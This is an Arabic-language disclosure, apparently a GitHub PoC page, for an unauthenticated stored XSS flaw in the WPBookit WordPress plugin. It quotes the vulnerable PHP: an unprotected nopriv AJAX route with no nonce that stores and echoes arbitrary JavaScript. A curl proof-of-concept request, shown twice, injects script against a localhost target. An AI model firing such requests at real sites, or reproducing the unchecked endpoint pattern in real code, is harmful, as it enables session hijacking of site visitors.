d0n601/cve-2025-12135WPBookit <= 1.0.6 - ثغرة برمجة نصية عبر المواقع (XSS) مخزّنة بدون مصادقة
لا تتحقق إضافة WPBookit من صلاحيات المستخدم أو تُنقّي كود CSS/JS المخصص في نقطة نهاية AJAX الخاصة بها save_custome_code، مما يسمح للمهاجمين غير المصادَق عليهم بحقن جافاسكريبت عشوائية تُنفَّذ عند كل تحميل صفحة، مما يؤدي إلى XSS مخزنة واحتمال اختطاف الجلسة.
# Basic XSS injection
curl -X POST "http://localhost:1337/wp-admin/admin-ajax.php?action=wpb_ajax_post&route_name=save_custome_code" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "css_code=/* malicious */&js_code=alert('XSS');"
توجد الثغرة في طريقة save_custome_code من الكلاس WPB_Setting_Controller. تسجّل الإضافة نقاط نهاية AJAX للمستخدمين غير المصادَق عليهم، مما يسمح لأي زائر بحقن كود CSS/JS عشوائي يتم تنفيذه عند كل تحميل صفحة.
الكود القابل للاستغلال من /core/admin/classes/controllers/class.wpb-setting-controller.php:16-25:
public function save_custome_code(WP_REST_Request $request){
$css_code= $request->get_param('css_code');
$js_code= $request->get_param('js_code');
update_option( 'wpb_custom_code_data', [ 'css_code' => $css_code, 'js_code' => $js_code ]);
}
تنفيذ الكود من /core/shortcodes/class-wpbookit-shortcode-abstract.php:20-27:
$wpb_custom_code= get_option( 'wpb_custom_code_data', [ 'css_code' => '', 'js_code' => '' ]);
wp_add_inline_style( 'wpb-custom-code-css', stripslashes($wpb_custom_code['css_code']));
wp_add_inline_script( 'wpb-custom-code-js', stripslashes($wpb_custom_code['js_code']) );
وصول غير مصادَق عليه من /core/admin/classes/class.wpb-admin-routes-handler.php:15-16:
add_action( "wp_ajax_wpb_ajax_post", [ $this, 'wpb_ajax_post' ] );
add_action( "wp_ajax_nopriv_wpb_ajax_post", [ $this, 'wpb_ajax_post' ] );
إعداد المسار من /core/admin/classes/class.wpb-admin-routes.php:118-123:
'save_custome_code' => [
'method' => 'post',
'action' => 'WPB_Setting_Controller@save_custome_code',
'nonce' => 0,
'module' => 'setting-controller'
],
curl -X POST "http://localhost:1337/wp-admin/admin-ajax.php?action=wpb_ajax_post&route_name=save_custome_code" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "css_code=/* malicious */&js_code=alert('XSS');"